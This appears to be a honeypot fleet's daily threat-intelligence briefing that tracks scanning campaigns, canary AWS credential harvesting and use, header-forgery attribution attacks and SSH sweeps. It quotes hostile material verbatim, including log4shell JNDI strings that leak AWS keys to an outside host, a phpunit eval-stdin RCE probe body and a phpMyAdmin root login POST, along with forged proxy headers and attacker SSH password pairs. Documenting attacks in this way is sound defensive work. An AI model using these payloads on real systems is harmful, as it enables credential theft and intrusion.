FLUX FLEET — INTEL BRIEFING №74

Period: 2026-11-05 07:34 – 2026-11-06 07:34 UTC (24h, day 72 of operations)
Sources: 8 honeypot nodes (frantech-ts also runs non-flux ssh/telnet honeypots whose condensed feed lands in /data/hp-logs and is NOT part of this report) — canary-farm-1 (EU-hot), ai-devbox-1 (EU), control-1 (differential baseline), ru-edge-1 (Russia), lauterbourg-01-ts (Nextcloud/php2shell TLS profile, rebuilt 10-23 15:06Z), netcup-ts + sponge-01-ts + frantech-ts (deception-only, no canaries)
Network layer: Arkime on spark (the fleet's own pcap sensors) — step 3c, the only view of sweeps that never request a path
Confidence: High (direct observation, 72-day baseline, mint and use sides verified against Tracebit alert logs; hostile bodies quoted verbatim where captured). Times quoted as stored digits; the ingest cast applies (see Fleet Observations).

BLUF

One MEVSPACE sp. z o.o. (BG) address, 194.180.49.41, ran the window's dominant operation: a 45,139-event kit against control-1 (11-05 20:57 → 11-06 06:14 stored) that combined a 33.5k-event tarpit soak, 4,097 phpMyAdmin credential POSTs, phpunit eval-stdin RCE probes whose bodies test .env/wp-config.php file existence, a 94-family config census — and a mint flood: 607 real canary credentials issued in 30 minutes (575 issued + 32 php-filter-issued), ~20 per minute, on the deliberately-certless baseline node. The AWS use side re-opened in the same window: 4 credentials were worked in AWS across 682 events (669 denied, 13 sts:GetCallerIdentity successes), including a denied RunInstances ×4 — the funnel's second provisioning-shaped denial — and a same-window mint→use by 57.129.123.152. SI-CENSUS returned from two idle windows with a new XFF-forgery arm (the fleet's first multi-hop X-Forwarded-For chains, sequential-digit forged clientIps, fake CDN headers), and its forged identities minted 9 real canaries; the JNDI-FIELD-INJECT payload reappeared inside the MEVSPACE kit under the same two log4shell strings. WP-LOGIN-BRUTE contracted to ~145 IPs with a shape split, XMLRPC-BRUTE ran two 1,000-POST batches in one window, and a new 25-IP pool self-identifying as UltimateSmtpSmsScanner/1.0 (+authorized) walked only the two EU canary sensors.

Key Judgements

1. The mint path is being farmed at a scale that is no longer accidental, and the target logic is inverted: the operator hit the canary-bearing surfaces hardest. 194.180.49.41 produced 607 issued credentials in 30 minutes (581 per its 6-day Tracebit history — 10× the previous fleet-record hoard class), and the flood drove control-1's issued tag to 54.3× its 7-day average while mint failures (32×400, all four canary sensors) overlapped the flood window. (High confidence on the counts — journey query, per-tag aggregation, and Tracebit funnel agree; Moderate on intent — quota burn and aggressive harvesting are indistinguishable from the outside, but both end with 581 hostile-held credentials.)
2. The AWS use side is escalating from identity checks toward provisioning, and one actor works credentials the same window it mints them. 682 use events: GetParameter ×390, DescribeVpcs ×130, DescribeImages ×130, RunInstances ×4 (all denied; the fleet's second RunInstances shape after WEBSIPHON №55), 13 GetCallerIdentity successes; 57.129.123.152 minted on canary-farm-1 at 07:30 stored and used 2 credentials before the window closed. (High confidence on the calls — Tracebit alert logs joined to flux journeys; Moderate on actor linkage — three use IPs, no shared infrastructure observed between them.)
3. Attribution forgery has become a capability, not a curiosity: one operator now mints under identities it invents. SI-CENSUS (102.220.163.241) sent 243 requests whose logged clientIp is a sequential-digit fabrication (92.63.64.65, 54.133.134.135 class) behind fake CDN headers (Cf-Connecting-Ip, True-Client-Ip, X-Client-Ip, X-Real-Ip, X-Forwarded-Host: localhost) and multi-hop X-Forwarded-For; 9 of those minted real canaries on ai-devbox-1, so the fleet's per-IP mint tables now over-count actors on that node. (High confidence — socketPeer pivot ties every forged row to one peer; Moderate on whether other operators adopt the kit — one window.)
4. The JNDI payload now circulates beyond its original operator. The two log4shell strings (${jndi:ldap://${env:AWS_ACCESS_KEY_ID}.log4j.check/exploit} + the AWS_SECRET_ACCESS_KEY variant) rode 296 of 194.180.49.41's requests on control-1 — the same payload TechTies 93.152.221.96 ran in №64–№65, now inside a MEVSPACE-hosted kit, with TechTies idle a third window. (Moderate confidence — payload text match only; shared kit versus shared actor cannot be separated from hosting, per the host≠actor rule.)

Active Campaigns (day 72 status)

MEVSPACE FLOOD-KIT (⟳ CREDSWEEP-operator arm, ESCALATED) — Hostile, active

• Actors: 194.180.49.41 (MEVSPACE sp. z o.o., BG; not blocklisted this window). Registry lineage: the CREDSWEEP org row's recurring operator — 9 ev / 5 sensors in №70, 37 ev / 5 sensors + 1 control mint in №69; this window is a step change in scale.
• TTPs: 45,139 events / 484 paths / 94 trap families / 4,373 POSTs on control-1 (11-05 20:57 → 11-06 06:14 stored; bulk 05:00–07:00 UTC: node histogram 7,501 + 37,951). Stack, per journey and per-tag counts: tarpit soak 33,515; phpmyadmin-credential-post 4,097 (body shape pma_username=root&pma_password=&server=1&target=index.php); env-production 2,071 across the full .env variant fan; aws-credentials-file 922 + aws-config-file 457; etc-shadow 515 + etc-passwd 82; phpmyadmin-login 536; phpunit-eval-stdin 265 with RCE-oracle bodies — code=echo 'PHPUNIT_OK'; foreach(['.env','../.env','../../.env','wp-config.php','config.php'] as $f) { if(file_exists($f)… — the POST turns the phpunit RCE into a file-existence oracle; tomcat-manager battery (challenge 259 + ui 82 + console 259); webapp-form-profile 65; phpinfo 40; wp-config 22. Mint arm: /.env-class requests under Go-http-client/1.1 minted 607 credentials 05:43–06:13 stored (~20/min). Attribution-attack legs: 296 XFF single-entry mismatches carrying the JNDI strings in clientIp+XFF (see JNDI-FIELD-INJECT), and the JNDI strings in the UA field itself (240 ${jndi:ldap://127.0.0.1/test}, 183 + 106 env-var variants). UAs: Go-http-client/1.1 44,017, forged Chrome/126 316, bare Mozilla/5.0 276.
• Assessment: one IP fused census, brute, RCE probing, and mint farming into a single 9-hour operation against the baseline node. Every mint is a live AWS credential until expiry — 581 in this IP's 6-day history are hostile-held inventory, and the fleet's own quota paid for them. The fake WordPress, fake git, and actuator decoys held the POSTs (no captured success beyond the trap wall); what the fleet cannot decoy away is the mint itself, which fires on a real /.env request by design.

CREDENTIAL-DRAIN ⟳ — MINT FLOOD, SECOND USE WINDOW OF THE CYCLE — Hostile, active

• Actors: 30 collector IPs held 622 credentials per the Tracebit funnel (digest issued rows: 639 — control-1 582 from 6 IPs, canary-farm-1 32 from 14, ai-devbox-1 21 from 19, ru-edge-1 4 from 4; the delta is the usual window-trim semantics). Four credentials reached AWS.
• TTPs: use side: 682 events — 669 denied, 13 sts:GetCallerIdentity successes; denied operations GetParameter ×390, DescribeVpcs ×130, DescribeImages ×130, ListRegions ×4, RunInstances ×4. Three use actors: 57.129.123.152 minted canary-farm-1 07:30 11-06 stored and used 2 credentials from 1 use IP in-window (DescribeImages, DescribeRegions, DescribeVpcs, GetCallerIdentity, GetParameter, ListRegions, RunInstances — same-window mint→use, the №70 SES-QUOTA-PROBE pattern at higher op-count); 152.89.244.89 (ACTUATOR-BEDROCK-KIT) used 1 of its 8 farm mints for a 7-shape read-only inventory sweep; 104.28.198.10 (Cloudflare edge) used 1 pre-window credential with a Converse-shape op — Tracebit is the only witness (no flux mints in its history window). Failures: 32×400 (control 12, aidev 12, farm 5, ru-edge 3), timing overlapping the mint flood — pacing/rejection pattern per №70–№72 precedent, root cause unconfirmed this cycle. Hoards: 194.180.49.41 581/6d, 102.220.163.241 54/6d, 208.84.100.218 10/6d, 23.132.164.201 9/6d, 176.123.8.213 9/6d (all nine stamped 11-05 03:24), 45.148.10.120 9/6d, 150.241.66.127 9/6d, 173.35.95.189 7/6d (new, minted on 3 sensors this window).
• Assessment: the escalation line the briefings watch — any success beyond GetCallerIdentity, or a write-shaped call — advanced one notch: RunInstances was attempted ×4 and denied. 618 credentials sit unused; every one is operational until expiry.

SI-CENSUS ⟳ — RETURN WITH A NEW XFF-FORGERY ARM — Hostile, active

• Actors: 102.220.163.241 (VPS Dedicated LLC, SI — the standing SI-CENSUS operator; 102.220.161.x siblings registered earlier).
• TTPs: directory-fanout census on 4 sensors (crossnode 1,053 events: control-1 521, ai-devbox-1 ~520, canary-farm-1, ru-edge-1; 512 paths, pscan-<8hex>-nonexistent.txt markers, 0 POSTs), 1 mint on ai-devbox-1; hoard 54/6d. New this window: 243 requests carrying multi-hop forged X-Forwarded-For chains and sequential-digit forged clientIps (the mismatch counter's non-JNDI half) behind forged CDN headers (Cf-Connecting-Ip, True-Client-Ip, X-Client-Ip, X-Real-Ip, X-Forwarded-Host: localhost; sample chain 92.63.64.65, 96.67.68.69, 127.0.0.1), under a forged modern browser pool (Chrome/124 Win/Mac, Firefox/125, iPhone 17.4.1, Pixel 8 Pro). The digest's multi-entry and mismatch counts for this actor are equal (243/243) — most likely the same requests counted by both counters, not verified. Nine of its forged-identity requests minted real canaries on ai-devbox-1 (logged as 7.90.91.92, 25.2.3.4, 8.186.187.188, 24.57.58.59, 121.98.99.100, 133.110.111.112, 163.171.172.173, 187.76.77.78, 211.219.220.221 — socketPeer 102.220.163.241 on all forgery rows).
• Assessment: the operator's census template is unchanged; the forgery arm is new capability. It defeats per-IP attribution in our own tables (mint collectors on ai-devbox-1 over-count by ~9), and it is the answer to why the multi-entry chain counter fired for the first time. Counter-reading rule for future windows: pivot on socketPeer, never the header-named source.

JNDI-FIELD-INJECT ⟳ — FOURTH RUN, PAYLOAD UNDER A NEW OPERATOR — Hostile, active

• Actors: socketPeer 194.180.49.41 (MEVSPACE BG) this window; TechTies 93.152.221.96 idle a third consecutive window.
• TTPs: 296 XFF single-entry mismatches on control-1, 05:57–06:02 stored, both registered payloads: ${jndi:ldap://${env:AWS_ACCESS_KEY_ID}.log4j.check/exploit} ×149 and the AWS_SECRET_ACCESS_KEY variant ×147, injected in clientIp and X-Forwarded-For on GET requests; the strings also ride the kit's UA set (${jndi:ldap://127.0.0.1/test} ×240 as UA). The env-var interpolation would leak AWS credential env values on a vulnerable parser; the traps answered with error responses and 112 php-filter-tracebit-http-error mint-path rejections.
• Assessment: the payload survived its operator's absence — shared kit, circulation, or hosting change; indistinguishable per the host≠actor rule, and the registry correlates on payload text, which matched exactly.

ACTUATOR-BEDROCK-KIT ⟳ — USE RETURN, INVENTORY SWEEP — Hostile, active

• Actors: 152.89.244.89 (aurologic GmbH, DE) — canary-farm-1 (+ netcup light leg).
• TTPs: minted 8 this window (13/6d) — 5 more than any previous window — and used 1 credential from 1 use IP: DescribeInstances, GetCallerIdentity, ListBuckets, ListFunctions20150331, ListKeys, ListRoles, ListUsers. Journey head unchanged (actuator battery → /.env mint).
• Assessment: the №72 mint-and-work pattern continues on schedule; its use sessions stay read-shaped, but the mint cadence is rising (2 → 8).

PATHSCAN-CENSUS ⟳ — THIRD WINDOW, HOARD UNCHANGED — Hostile, active

• Actors: 176.123.8.213 (Alexhost S.r.l., MD) — canary-farm-1 290 ev / 63 families + lauterbourg-01-ts 281 ev, the №66/№73 shape; crossnode 635 events.
• TTPs: tarpit loops → random-marker probe → /.env/.Env/.ENV case-variant mints → aws-config/credentials census. Its 9/6d credentials all stamp 11-05 03:24 stored. 0 AWS use.
• Assessment: a fixed list worked to the trap wall, then harvest — now on a three-window cadence with two operators from one org. The watch stays AWS use of the 9.

XMLRPC-BRUTE ⟳ — TWO BATCHES IN ONE WINDOW — Hostile, active

• Actors: 45.94.31.16 (1337 Services GmbH, NL) on ai-devbox-1; №72–№73 Google-hosted operators idle.
• TTPs: 2,014 events, 2,000 wp-xmlrpc-post across two registered 1,000-POST batches (10:59 → 00:29 stored; node histogram bursts 11:00 975 ev, 00:00 1,097 ev), 5 paths, forged Chrome/78 unchanged. The IP's all-time count now ≥6,000 multicall POSTs across four windows.
• Assessment: the flood kit circulates among rotating operators; the fake WordPress holds every system.multicall body. 0 mints.

WP-LOGIN-BRUTE ⟳ — CONTRACTION, SHAPE SPLIT — Hostile, active

• Actors: ~145 IPs fleet-wide (down from №73's 244). The wide leg held only on canary-farm-1 (119 IPs / 176 events); few-IP high-rate lines on the rest: ai-devbox-1 763 ev / 10 IPs / 381 POSTs, netcup-ts 601 / 6 / 300, lauterbourg-01-ts 436 / 8 / 218, ru-edge-1 61 / 1 / 60, frantech-ts 228 / 1 / 114.
• TTPs: probe → credential POST cycles on /wp-login.php unchanged; new standout 103.154.62.40 (Vietnam Posts and Telecommunications, VN) ran 114 probes + 114 POSTs on frantech-ts over 22 hours (~5/hour, cluster df15d0ee3ccf's low-and-slow shape). Cluster df15d0ee3ccf: 19 IPs / 2,109 events. 0 mints; the fake WordPress holds every POST.
• Assessment: the №73 244-IP wave looks like a one-window spike; the campaign persists as distributed slow lines plus a farm-only wide leg. The tooling composes with WP-XRPC-WALK as before.

REGISTRY-HUNT ⟳ — WALKER MINTS CONTINUE, L9SCAN ABSENT — Hostile, active

• Actors: the DigitalOcean walker pool crossed the kill-chain again (watchlist: 164.92.107.174, 209.38.208.202, 167.99.210.137, 64.226.65.160, 206.189.19.19, 207.154.212.47, 209.97.180.8, on farm/aidev/control in the 27-family walk). The №72 l9scan mint arm (164.90.208.56, 165.227.84.14) did not run.
• TTPs: the registered walk (tarpit → WebLogic console → Confluence → WHM/cPanel → docker-registry enum → /.env), mints spread across the pool: 209.97.180.8 5/6d, 209.38.208.202 4/6d, 167.99.210.137 4/6d (2 this window), 64.225.75.246 4/6d, 159.89.127.165 4/6d, 139.59.143.102 4/6d, 138.68.144.227 3/6d, 159.89.12.166 3/6d, 64.226.65.160 2/6d, 206.189.19.19 1. 0 AWS use from the pool.
• Assessment: the pool mints every window it runs; credentials accumulate unused. The №67 SES/Bedrock shape remains its known escalation.

CONFIGBUNDLE-KIT ⟳ — STANDING OPERATOR RETURNED, MINTED 5 — Hostile, active

• Actors: 208.84.100.218 (standing since 10-02).
• TTPs: 54 events crossnode; minted 5 across canary-farm-1, ai-devbox-1, control-1 (10/6d) after №73's idle window.
• Assessment: persistent low-volume mint collector; its №72 census at record width remains the family's widest run.

ULTIMATE-SMTP-SWEEP ⚠ NEW — Hostile-assumed, first window

• Actors: 25 IPs in 195.210.105.x, paired visits to canary-farm-1 + lauterbourg-01-ts only; ~19 events per IP.
• TTPs: 486 events, 15:50 → 00:18 stored (~8.5 h), all under one honest self-labeled UA UltimateSmtpSmsScanner/1.0 (+authorized); 0 mints, 0 POSTs observed.
• Assessment: a distributed pool that self-identifies — either a brazen tool or research mislabeled as hostile; the named-UA discipline (no UA rotation across 25 IPs) is the fingerprint. Promote on a mint, a POST, or a third sensor; retire toward benign if the shape stays shallow.

MEGA-DICTIONARY ⟳ — SILENT THIS WINDOW

No host ran the dropper-URL replay: the Pfcloud loop (204.76.203.18) recorded 0 in-window events — its №73 activity ended 11-05 05:42 stored, before this window opened (the digest's top-talker row for the IP carries those pre-window stamps — new quirk, see Fleet Observations). No tzulo, xTom, M247, or Datacamp replay appeared; the 14,922-path manifest is unchanged since №73's growth.

Light watchers

• 67.230.190.82 (IT7 Networks Inc, US) — 304 POSTs to /index.php on lauterbourg-01-ts in 25 seconds (00:49:47–00:50:12 stored, empty UA, 1-byte bodies x, all 200 php2shell-index) — a burst-probe of the CVE-2026-109618 runtime surface; owns the node's 28.5× php2shell-index spike. Name on a second sighting.
• 193.47.62.109 (BestDC Limited, BG) — second run: netcup-ts 1,142 events / 442 paths in 5 minutes (11:19–11:24) + sponge-01-ts 552 / 276 (05:38–05:43), same webshell/phpinfo census shape as №73, 5 POSTs total, 0 mints. Two runs two windows apart → named BESTDC-CENSUS in the registry.
• New mixed cluster b6204355c60b (8 IPs, 48 events, 5 sensors, first seen 11-06): / [tarpit-module] → /login.htm [not-handled] → /login [webapp-form-login] → /index.htm [not-handled]. Members include honest CensysInspect singles (66.132.159.100, 66.132.172.194, 66.132.195.52) plus 45.148.10.194 (Chrome/131, 6 ev in 4 s on lauterbourg) and 139.162.33.108 — a mixed bag, not one actor; watch, do not merge with anything.
• 79.124.58.82 (Tamatiya EOOD, BG) — 300 events / 150 paths in 1 minute on lauterbourg-01-ts (16:08), 0 POSTs. 34.15.131.22 (Google LLC, TH) — 278 ev / 273 paths in 1 minute (21:24). Both single-shot census bursts; watch for returns.
• GIT-HARVEST — fifth consecutive window: 35.232.76.162, 75 events / 3 sensors under the honest harvest/1.0 UA; 0 mints.
• Tarpit looper class (cluster 3e1c5eb879e7 ⟳, 69 IPs, 477 events, 7 sensors; sibling 4b4cc0ece037 37 IPs / 258): volume down from №73's 128-IP wave.
• Benign/research — CensysInspect singles (see cluster above), CriminalIP/1.0 UA first-seen on canary-farm-1 (honest scanner brand), 71.6.155.70 (8 sensors, handshake-shaped), 79.124.58.22 and 150.40.126.78 (8-sensor singles). No benign-listed operator crossed into hostile behavior.

Standing actors (persistence check)

• 194.180.49.41 (MEVSPACE, CREDSWEEP org) — third registered appearance (№69, №70, №74), two orders of magnitude larger this window.
• SI-CENSUS (102.220.163.241) — back after two idle windows; hoard 54/6d; new forgery arm.
• REGISTRY-HUNT DigitalOcean pool — present every window on record; walker mints continue.
• XMLRPC-BRUTE operators — 45.94.31.16's fourth appearance; batch cadence unchanged.
• ACTUATOR-BEDROCK-KIT (152.89.244.89) — third window, mint cadence rising, use side re-opened.
• PATHSCAN-CENSUS (176.123.8.213 + 176.123.5.6, Alexhost) — three windows, fixed 9-mint list.
• 208.84.100.218 (CONFIGBUNDLE-KIT) — returned to minting after one idle window; standing since 10-02.
• 23.132.164.201 — minted 1 on canary-farm-1 (9/6d), antique-UA single-path looper.
• GIT-HARVEST (35.232.76.162) — fifth consecutive window, same shape.

Network-layer recon (Arkime)

Network-layer recon (Arkime) — 2026-11-05 07:34:00 → 2026-11-06 07:35:20 UTC

Fingerprint field ssh.hassh, destination port 22 · 74,283 inbound sessions · fleet IPs: ai-devbox-1 217.15.163.226, canary-farm-1 109.123.246.142, control-1 38.54.2.209, frantech-ts 209.141.62.110, lauterbourg-01-ts 89.116.25.211, netcup-ts 159.195.21.150, ru-edge-1 130.94.89.46, sponge-01-ts 89.167.72.144

Session tags: honeypot 37,637, sensor:lauterbourg-01-ts 15,666, contabo-sponge-02-ts 13,226, proxy 13,226, sensor:contabo-sponge-02-ts 13,226, bahrain-sponge-01-ts 11,268

Flagged sweeps (3) — one fingerprint, many networks, single port, no authentication attempted:

• f555226df1963d1d3c09daf865abdc9a — client banner ssh-2.0-libssh_0.9.6, 2,217 sessions from 204 source IPs across 120 networks in 48 countries, port 22, avg 4,981 B/session. Networks: AS31898 Oracle Corporation, AS135377 UCLOUD INFORMATION TECHNOLOGY (HK) LIMITED, AS8075 Microsoft Corporation, AS8151 UNINET, AS137718 Beijing Volcano Engine Technology Co., Ltd.. Busiest sources: 172.56.105.159, 186.120.179.222, 129.121.143.33, 50.6.199.149, 111.68.98.152. Last 7 days: 10-31 455 IPs, 11-01 610 IPs, 11-02 496 IPs, 11-03 149 IPs, 11-04 239 IPs, 11-05 223 IPs, 11-06 72 IPs.
• 06ff3615a51b2af343ec22abc8e30bbc — client banner ssh-2.0-go, 2,564 sessions from 161 source IPs across 77 networks in 32 countries, port 22, avg 5,025 B/session. Networks: AS37963 Hangzhou Alibaba Advertising Co.,Ltd., AS4766 Korea Telecom, AS51167 Contabo GmbH, AS34984 Superonline Iletisim Hizmetleri A.S., AS14061 DigitalOcean, LLC. Busiest sources: 175.196.78.7, 47.108.142.101, 8.130.97.165, 8.138.45.99, 8.134.209.85. Last 7 days: 10-31 101 IPs, 11-01 141 IPs, 11-02 17 IPs, 11-03 13 IPs, 11-04 10 IPs, 11-05 168 IPs, 11-06 8 IPs.
• 0a07365cc01fa9fc82608ba4019af499 — client banner ssh-2.0-go, 21,448 sessions from 81 source IPs across 49 networks in 26 countries, port 22, avg 5,172 B/session. Networks: AS198364 Banatsync Srl, AS213790 Limited Network LTD, AS213877 U1 Digital Services Ltd, AS202520 SkyPass Solutions Sp. z o.o., AS216169 Mohammad Taha Mashhorrodi. Busiest sources: 77.239.124.146, 109.160.32.43, 109.160.32.44, 77.239.124.153, 109.160.32.35. Last 7 days: 10-31 79 IPs, 11-01 73 IPs, 11-02 65 IPs, 11-03 62 IPs, 11-04 47 IPs, 11-05 84 IPs, 11-06 28 IPs.

Thresholds: dispersed = ≥50 source IPs and ≥20 networks on one port; mass = ≥200 source IPs. Fingerprint identity, never source IP: sweep operators rotate addresses and keep the tool.

Recon read: three standing sweeps held their dispersed shape and one dropped out. LIBSSH-MASSSWEEP (f555226df196…) stayed dispersed at 204 IPs / 120 networks (down from №73's 275 / 155). GO-SPRAY-SWEEP (06ff3615a51b…) held dispersed for a second consecutive day (161 / 77, was 102 / 51). GO-SSH-SWEEP (0a07365cc01f…) held dispersed at 81 IPs while carrying the fleet's heaviest session load (21,448, −1,535); its busiest /24s (77.239.124.x, 109.160.32.x) are the same ranges as the frantech-ts post-auth uname loop source (109.160.32.180). OPSSH-UBUNTU-SWEEP (184781a96d49…) — flagged in №72 and №73 — is absent from this window's table (0 sessions observed above noise); its three-banners-one-fingerprint question stays open. GO-SCATTER-SWEEP (16443846184e…) stayed under threshold at 33 IPs / 21 networks with 10,339 sessions. Two unregistered fingerprints are worth a watch: 2ec37a7cc8da… (1,591 sessions from 16 IPs on 3 networks — moderate volume, single-source shape, banner unrecorded at this volume) and new-entry e54ef3ec27fe… (27 sessions / 18 IPs / 8 networks). CTL-MASS-SSH and LIBSSH-011-SWEEP also fell below the table cut. Fleet-side tag change observed, not analyzed: session tags now include contabo-sponge-02-ts and proxy (13,226 sessions) alongside bahrain-sponge-01-ts (11,268).

Canary credentials

Summary

4 Tracebit alert(s) fired in the window (682 use events across 4 credentials). Fleet sensors minted 622 credentials to 30 collector IPs; 4 credential(s) reached AWS. Use outcomes: 669 failure, 13 success. Denied operations: GetParameter×390, DescribeVpcs×130, DescribeImages×130, ListRegions×4, RunInstances×4. 13 call(s) succeeded: GetCallerIdentity. Successes leak identity at most; treat any success beyond sts:GetCallerIdentity as a finding.

Mint → use funnel

Per collector (evidence for attribution prose — join each IP against ip-journey and the campaign registry):

Persistent collectors with no observed AWS use (candidates for hoard/resale/untraced use — check prior briefings for named campaigns):

• 194.180.49.41: 581 mints, 2026-10-31 23:24 → 2026-11-06 06:13
• 102.220.163.241: 54 mints, 2026-10-31 11:01 → 2026-11-05 07:35
• 208.84.100.218: 10 mints, 2026-11-04 00:55 → 2026-11-05 12:19
• 150.241.66.127: 9 mints, 2026-11-01 01:45 → 2026-11-01 19:59
• 176.123.8.213: 9 mints, 2026-11-05 03:24 → 2026-11-05 03:24
• 23.132.164.201: 9 mints, 2026-10-30 12:45 → 2026-11-05 09:40
• 45.148.10.120: 9 mints, 2026-10-30 08:23 → 2026-10-31 04:23
• 173.35.95.189: 7 mints, 2026-11-02 17:49 → 2026-11-06 05:27
• 46.148.227.131: 7 mints, 2026-11-02 23:09 → 2026-11-02 23:09
• 85.11.167.204: 7 mints, 2026-11-02 13:51 → 2026-11-05 03:19
• 102.22.219.226: 6 mints, 2026-11-03 14:34 → 2026-11-03 15:56
• 185.177.72.64: 6 mints, 2026-10-31 01:36 → 2026-11-03 15:41
• 74.0.42.13: 6 mints, 2026-10-31 00:12 → 2026-11-03 16:35
• 154.162.45.255: 5 mints, 2026-10-31 15:45 → 2026-10-31 16:29
• 180.93.232.115: 5 mints, 2026-11-04 14:26 → 2026-11-05 16:00
• 202.65.239.148: 5 mints, 2026-11-04 17:58 → 2026-11-05 00:33
• 209.97.180.8: 5 mints, 2026-10-31 20:55 → 2026-11-04 06:15
• 69.197.186.50: 5 mints, 2026-11-01 11:38 → 2026-11-03 11:36
• 108.181.98.163: 4 mints, 2026-11-02 08:39 → 2026-11-04 01:47
• 139.59.143.102: 4 mints, 2026-10-31 21:27 → 2026-11-04 21:08
• 155.117.232.31: 4 mints, 2026-11-03 18:19 → 2026-11-05 12:37
• 159.89.127.165: 4 mints, 2026-11-03 21:08 → 2026-11-04 21:43
• 167.99.210.137: 4 mints, 2026-11-03 10:28 → 2026-11-05 21:48
• 193.47.62.29: 4 mints, 2026-10-31 10:44 → 2026-10-31 10:51
• 207.154.212.47: 4 mints, 2026-10-31 21:28 → 2026-11-03 11:41
• 209.38.208.202: 4 mints, 2026-11-01 21:16 → 2026-11-05 21:37
• 45.138.12.16: 4 mints, 2026-10-30 04:57 → 2026-11-01 12:49
• 45.138.12.51: 4 mints, 2026-10-30 08:25 → 2026-11-04 23:52
• 64.225.75.246: 4 mints, 2026-10-31 20:55 → 2026-11-04 22:10
• 137.23.38.53: 3 mints, 2026-11-01 12:28 → 2026-11-03 04:47
• 138.68.144.227: 3 mints, 2026-11-04 05:23 → 2026-11-04 21:42
• 157.245.36.108: 3 mints, 2026-11-02 06:14 → 2026-11-03 04:18
• 158.140.191.104: 3 mints, 2026-11-03 19:23 → 2026-11-03 19:23
• 159.89.12.166: 3 mints, 2026-10-31 21:19 → 2026-11-04 21:45
• 68.183.180.73: 3 mints, 2026-11-02 06:14 → 2026-11-02 22:19
• 87.192.41.180: 3 mints, 2026-10-30 15:51 → 2026-10-30 21:12
• 93.123.109.247: 3 mints, 2026-10-30 20:20 → 2026-10-30 20:20
• 98.97.76.10: 3 mints, 2026-11-05 03:01 → 2026-11-05 05:41

Attribution notes (narrative, joined against journeys and the registry): the flood collector 194.180.49.41 is the MEVSPACE kit above; the nine sequential-digit "collectors" on ai-devbox-1 are SI-CENSUS's forged clientIps, not nine actors; 23.234.104.234 sits in the tzulo /24 class that has run MEGA-DICTIONARY replays (first mint observed from this block); 195.210.105.172 is the ULTIMATE-SMTP-SWEEP pool's only mint; 195.178.110.159 is the Techoff census operator's canary-farm-1 mint.

Fleet Observations

• Volume shifts, explained. control-1 +845% (46,880 vs 4,961 7-day avg) — 194.180.49.41's 45,139 events are 96% of the node's day; ex-flood the node ran ≈1,741 events, below its recent band. frantech-ts −91% (1,042 vs 11,435) — no dictionary replay and no heavy census on its flux surface; its own honeypots stay the source of its hp-logs feed (counted separately). canary-farm-1 −63% (2,277 vs 6,200) — №70–№73's heavies absent (no Techoff .247 record run, no WIDE-CONFIG-CENSUS, no 244-IP wp-login wave: the wave's farm leg was 176 events). ru-edge-1 −54% (649), lauterbourg-01-ts −26% (2,743) — quieter census days. ai-devbox-1 +42% (4,450) — XMLRPC's two 1,000-POST batches, the wp-login line, and SI-CENSUS's forgery-arm census. netcup-ts +59% (2,513) — 193.47.62.109's 1,142-event run plus wp-login. sponge-01-ts +14% (1,436).
• Canary economics. Digest issued rows: 639 (control-1 582 from 6 IPs — a 54.3× spike on the tag, farm 32 from 14, aidev 21 from 19, ru-edge 4 from 4). Failures: 32×400 (control 12, aidev 12, farm 5, ru-edge 3) — upstream rejection class; timing overlaps the mint flood, consistent with pacing, root cause not confirmed. Tracebit funnel: 622 credentials to 30 collectors, 4 used in AWS, 618 silent. Fleet mint total is now measured in thousands all-time (6,810 mint-side rows in the visuals build); one IP consumed 607 of them in 30 minutes — quota is a consumable the adversary can drain by design, since a real /.env hit must mint.
• Attribution/TLS posture. 2,409 requests carried X-Forwarded-For; multi-entry chains 243 — first non-zero sighting of the counter (SI-CENSUS forgery arm); XFF-ignored 313; single-entry forgery 539 (296 JNDI-under-MEVSPACE + 243 SI-CENSUS; both attributed by socketPeer). The №70 XFF-SWARM stayed idle. TLS ran http-led everywhere; control-1 was all-HTTP (46,880). Top Host headers: 38.54.2.209 46,468 (control-1, the flood), inference.fapthropic.com 2,257 (aidev TLS bait, now leading its node), 159.195.21.150 1,866 (netcup), 89.167.72.144 1,420 (sponge), 89.116.25.211 1,331 (lauterbourg — the bare public IP led the node again; TLS bait cloud.wafflehouseindex.us drew no top-2 volume), 109.123.246.142 1,245 (farm), 217.15.163.226 1,074 (aidev), 209.141.62.110 1,021 (frantech).
• New digest quirk (verify before citing top-talker rows). The top-talker table can carry pre-window first/last stamps with in-window-looking event counts: 204.76.203.18's row shows 294 events stamped 11-05 02:34→05:42, but a direct window query on the same IP returns 0 events (its №73 loop ended before this window opened). Treat top-talker first/last as all-time stamps, and re-query any top-talker whose story depends on timing. Registered in the campaign registry's quirk list.
• Control-1 discovery velocity. 54 days live (first event 2026-09-12 07:59 UTC). The window's day ran 46,880 events / 210 unique IPs — the flood owns the number; ex-flood ≈1,741 events. The 11-05 row (20,567) and 11-04 row (2,730) bracket it: the node's second record day in a row, both driven by single actors (tzulo replay, then MEVSPACE kit). The network layer's heaviest single-fingerprint SSH load (GO-SSH-SWEEP, 21,448 sessions) again spread across the fleet rather than concentrating on control.
• First-seen caveats. All first-seen rows share one sync-batch timestamp (02:15–02:34 stored), so they are an inventory, not a timeline. Attribution this window: the canary-farm-1 /src/config.ts, /src/App.vue, /src/api.ts, /src/main.ts, /src/services/api.ts, /src/env.ts, /src/main.js frontend-source set (02:34) is unattributed beyond its census shape; lauterbourg-01-ts gained /mailconfig.json, /apikey.json, /email.php, /faq plus UA Mozilla/5.0 (compatible; SecurityResearch/1.0; ) (self-labeled, unattributed); CriminalIP/1.0 first-seen on canary-farm-1 is the honest CriminalIP scanner brand (benign class).
• Fleet-side pcap tag change (one-liner). Arkime session tags gained contabo-sponge-02-ts + proxy (13,226 sessions) beside bahrain-sponge-01-ts (11,268); outside this skill's scope, flagged for the pcap pipeline owner.

SSH/telnet honeypot (frantech-ts — single sensor, not fleet-wide)

One host, one view — never a fleet number. Funnel: 363 sources sent credentials → 244 got a shell (67%) → 187 ran a command (77% of shell-getters, 52% of sources). Event level: 15,132 credential attempts → 3,594 accepted logins → 10,433 commands (290% of accepted logins go on to run something). Telnet (commodity IoT botnets): 551 attempts.

New commands: zero (0 of 4,636 distinct) — a fifth quiet window; operators re-ran known tooling only. New credential pairs: 0 of 8,829 offered. Concentration: rootssssss23424123123/rootssssss23424123123 stays top (282 attempts), the gs5662d34 family holds the next three slots (root/root3245gs5662d34111111111 215, 345gs5662d34/345gs5662d34 161, root/3245gs5662d34 122), then commodity pairs (root/123456 84, pi/raspberry 72, user/wasd 69, support/support 40).

